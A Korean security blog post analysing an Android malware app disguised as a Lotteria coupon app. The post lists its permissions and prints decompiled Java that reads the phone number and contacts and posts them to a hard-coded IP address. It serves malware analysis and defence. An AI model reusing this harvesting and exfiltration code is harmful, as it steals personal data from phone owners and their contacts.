Analysis

[Android Malware] 롯데리아 쿠폰 위장 (lotteria_cp.apk) 분석

DarkSoul.Story 2013. 4. 21. 21:33
반응형




아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


Filename:lotteria_cp.apk
MD5:9ff5ee1d8a719cf00bb40c0253875938 
SHA-1:66cef8f21ffee1ebea00ea95d31175bc9349cbf8 
File Size:83984 Bytes
API Level:

2. 분석 내용

lotteria_cp.apk파일이 설치가 되면 롯데리아 아이콘이 생성된다. 생성된 아이콘을 클릭하면 아래와 같이 [Hello world] 문자만 보이며 아무 현상도 일어나지 않는다.


androapkinfo.py를 이용하여, lotteria_cp.apk의 API 권한을 살펴 보면 아래와 같다.

#./androapkinfo.py -i /root/Desktop/lotteria_cp.apk


생략 ~


PERMISSIONS:

           com.google.android.gm.permission.AUTO_SEND ['normal', 'Unknown permission from android reference', 'Unknown permission from android reference']

           android.permission.RECEIVE_BOOT_COMPLETED ['normal', 'automatically start at boot', 'Allows an application to start itself as soon as the system has finished booting. This can make it take longer to start the phone and allow the application to slow down the overall phone by always running.']

           android.permission.READ_PHONE_STATE ['dangerous', 'read phone state and identity', 'Allows the application to access the phone features of the device. An application with this permission can determine the phone number and serial number of this phone, whether a call is active, the number that call is connected to and so on.']

           android.permission.READ_CONTACTS ['dangerous', 'read contact data', 'Allows an application to read all of the contact (address) data stored on your phone. Malicious applications can use this to send your data to other people.']

           android.permission.CALL_PHONE ['dangerous', 'directly call phone numbers', 'Allows an application to initiate a phone call without going through the Dialer user interface for the user to confirm the call being placed. ']

           android.permission.RECEIVE_SMS ['dangerous', 'receive SMS', 'Allows application to receive and process SMS messages. Malicious applications may monitor your messages or delete them without showing them to you.']

           android.permission.MODIFY_PHONE_STATE ['signatureOrSystem', 'modify phone status', 'Allows modification of the telephony state - power on, mmi, etc. Does not include placing calls.']

           android.permission.INTERNET ['dangerous', 'full Internet access', 'Allows an application to create network sockets.']


생략 ~



androapkinfo.py에서 확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.

User Permission (악성 APP이 요구하는 권한 정보)

android.permission.RECEIVE_SMS

android.permission.RECEIVE_BOOT_COMPLETED

com.google.android.gm.permission.AUTO_SEND

android.permission.INTERNET

android.permission.READ_CONTACTS

android.permission.MODIFY_PHONE_STATE

android.permission.CALL_PHONE

android.permission.READ_PHONE_STATE


androlyze 이용하여 권한이 부여된 API 어떤 메소드들을 호출하고 있는지 상세히 살펴 보면 아래와 같으며, READ_CONTACTS / READ_PHONE_STATE / VIBRATE / INTERNET에서 검출되었다.

#./androlyze.py -i /root/Desktop/lotteria_cp.apk -x

 

PERM :  READ_CONTACTS

R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x17e) ---> Lcom/androd/msm/l;->b()V

PERM :  READ_PHONE_STATE

1 Lcom/androd/msm/MsmApp;->a(Landroid/content/Context;)Ljava/lang/String; (0x10) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;

1 Lcom/androd/msm/androids;->onCreate()V (0x80) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V

PERM :  VIBRATE

1 Lcom/androd/msm/ad;->onCallStateChanged(I Ljava/lang/String;)V (0xe) ---> Landroid/media/AudioManager;->setRingerMode(I)V

1 Lcom/androd/msm/ad;->onCallStateChanged(I Ljava/lang/String;)V (0x80) ---> Landroid/media/AudioManager;->setRingerMode(I)V

PERM :  INTERNET

1 Lcom/androd/msm/a;->d()Lorg/apache/http/client/HttpClient; (0x4e) ---> Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/params/HttpParams;)V


악성 앱을 디컴바일 한 후 소스파일을 살펴보면, 아래와 같은 구조로 되어있다.

com.androd.msm의 MsmApp 클래스를 살펴 보면 아래와 같이 getLine1Number()를 이용하여, 악성 앱이 설치되어 있는 디바이스의 전화번호를 획득한다.


private String a(Context paramContext)
  {
    return ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
  }


com.android.msm의 android 클래스를 살펴 보면 아래와 같이 악성 앱이 실행 되고 있는 동안 리스너(Listener)를 이용하여, 디바이스의 상태를 모니터링 한다.


public void onCreate()
  {
    super.onCreate();
    this.b = new o(new aa(this));
    this.c = new l(getApplicationContext());
    if (this.d == 3)
    {
      this.e = new ad(this);
      this.f = ((TelephonyManager)getSystemService("phone"));
      this.g = ((AudioManager)getSystemService("audio"));
      this.f.listen(this.e, 32);
    }
  }


com.androd.msm의 l 클래스에서는  아래와 같이 ContactsContract를 이용하여 악성 앱이 설치 되어있는 디바이스의 주소록에 접근하여 읽어 온다. (ContactsContract는 컨택트 관련 정보의 확장된 데이터베이스를 정의를 한다.) ContactsContract.Data는 전화번호나 이메일 주소등 과 같은 개인 정보를 저장할 수 있으며, 이 테이블에 저장될 수 있는 데이터의 집합은 개방형이다. ContactsContrat.RawContacts 개인 및 계정과 관련된 집합을 정의한다. 예를 들면 사용자의 Gmail 계정이 여기에 속한다.


private void b()
  {
    Log.d("test", "getOnePhoneNumber-----------start");
    String str1 = this.b.getString(this.b.getColumnIndex("_id"));
    Cursor localCursor1 = this.c.query(ContactsContract.RawContacts.CONTENT_URI, null,
 "contact_id = ?", new String[] { str1 }, null);
    if (localCursor1.moveToFirst());
    for (String str2 = localCursor1.getString(localCursor1.getColumnIndex("_id")); ; str2 = "")
    {
      localCursor1.close();
      Cursor localCursor2 = this.c.query(ContactsContract.Data.CONTENT_URI, new String[] 
{ "_id", "data1", "data3", "data2", "data5" }, "contact_id=? AND mimetype='vnd.android.cursor.
item/name'", new String[] { str1 }, null);
      Object localObject;
      String str4;
      label247: Cursor localCursor3;
      if (localCursor2.moveToFirst())
      {
        String str3 = localCursor2.getString(localCursor2.getColumnIndex("data5"));
        if (str3 != null)
        {
          localObject = str3 + localCursor2.getString(localCursor2.getColumnIndex("data2"));
          str4 = localCursor2.getString(localCursor2.getColumnIndex("data3"));
          if ((localObject != null) && (str4 != null))
            break label418;
          if (localObject == null)
            localObject = str4;
          this.j = ((String)localObject);
        }
      }
      else
      {
        localCursor2.close();
        if (Integer.parseInt(this.b.getString(this.b.getColumnIndex("has_phone_number"))) > 0)
          localCursor3 = this.c.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, 
null, "raw_contact_id = ?", new String[] { str2 }, null);
      }
      while (true)
      {
        if (!localCursor3.moveToNext())
        {
          localCursor3.close();
          this.i.replaceAll(" ", "");
          Log.d("test", "getOnePhoneNumber-----------phone=" + this.j + "," + this.i);
          b(this.j, this.i);
          if (this.i != null)
            break label468;
          c("phoneNum==null");
          return;
          localObject = localCursor2.getString(localCursor2.getColumnIndex("data2"));
          break;
          label418: this.j = (localObject + str4);
          break label247;
        }
        this.i = localCursor3.getString(localCursor3.getColumnIndex("data1"));
      }
      label468: if (a(this.i))
      {
        c("isHase=true");
        return;
      }
      HashMap localHashMap = new HashMap();
      localHashMap.put("sphone", MsmApp.c().a());
      localHashMap.put("sn", this.i);
      localHashMap.put("sname", this.j);
      this.d.a(localHashMap);
      return;
    }
  }


com.androd.msm의 a 클래스에서는  아래와 같이 HttpClient를 이용하여, 네트워크 연결에 필요한 HttpClient  인터페이스를 정의한다. HttpClient는 HTTP 요청을 수행하는 데 필요한 개체를 캡슐화하면서  쿠키처리, 인증, 연결 관리 등을 담당한다.


private HttpClient d()
  {
    BasicHttpParams localBasicHttpParams = new BasicHttpParams();
    HttpConnectionParams.setConnectionTimeout(localBasicHttpParams, 30000);
    HttpConnectionParams.setSoTimeout(localBasicHttpParams, 30000);
    HttpConnectionParams.setSocketBufferSize(localBasicHttpParams, 4096);
    HttpClientParams.setRedirecting(localBasicHttpParams, true);
    HttpProtocolParams.setUserAgent(localBasicHttpParams, "Mozilla/5.0");
    HttpProtocolParams.setVersion(localBasicHttpParams, HttpVersion.HTTP_1_1);
    HttpProtocolParams.setContentCharset(localBasicHttpParams, "UTF-8");
    return new DefaultHttpClient(localBasicHttpParams);
  }


획득한 정보가 보내지는 곳은 아래와 같다.

public int a(String paramString1, String paramString2)
  {
    a("-------------PostMsm 1");
    if (this.b.a("CMD_GETTIME"))
    {
      b("register->register request is exist!");
      return -1;
    }
    HashMap localHashMap = new HashMap();
    localHashMap.put("sn", paramString1);
    localHashMap.put("sbody", paramString2);
    this.c = 1;
    return this.b.a("CMD_GETTIME", "http://121.127.248.210/u_news.asp", 
localHashMap);
  }
 
  public int a(String paramString1, String paramString2, String paramString3)
  {
    a("-------------PostMsm 2");
    if (this.b.a("CMD_GETTIME"))
    {
      b("register->register request is exist!");
      return -1;
    }
    HashMap localHashMap = new HashMap();
    localHashMap.put("sn", paramString1);
    localHashMap.put("sbody", paramString2);
    localHashMap.put("nfrom", paramString3);
    this.c = 1;
    return this.b.a("CMD_GETTIME", "http://121.127.248.210/u_news.asp", 
localHashMap);
  }
}


public int a(Map paramMap)
  {
    if (this.b.a("CMD_GETTIME"))
    {
      b("register->register request is exist!");
      return -1;
    }
    this.c = 1;
    return this.b.a("CMD_GETTIME", "http://121.127.248.210/phone/name.asp", 
paramMap);
  }

소스코드에서 확인한 IP (121.127.248.210)의 위치를 찾아보면 홍콩인것을 확인 할 수 있다.



** 잘못된 내용은 언제든지 댓글 부탁드립니다 **

반응형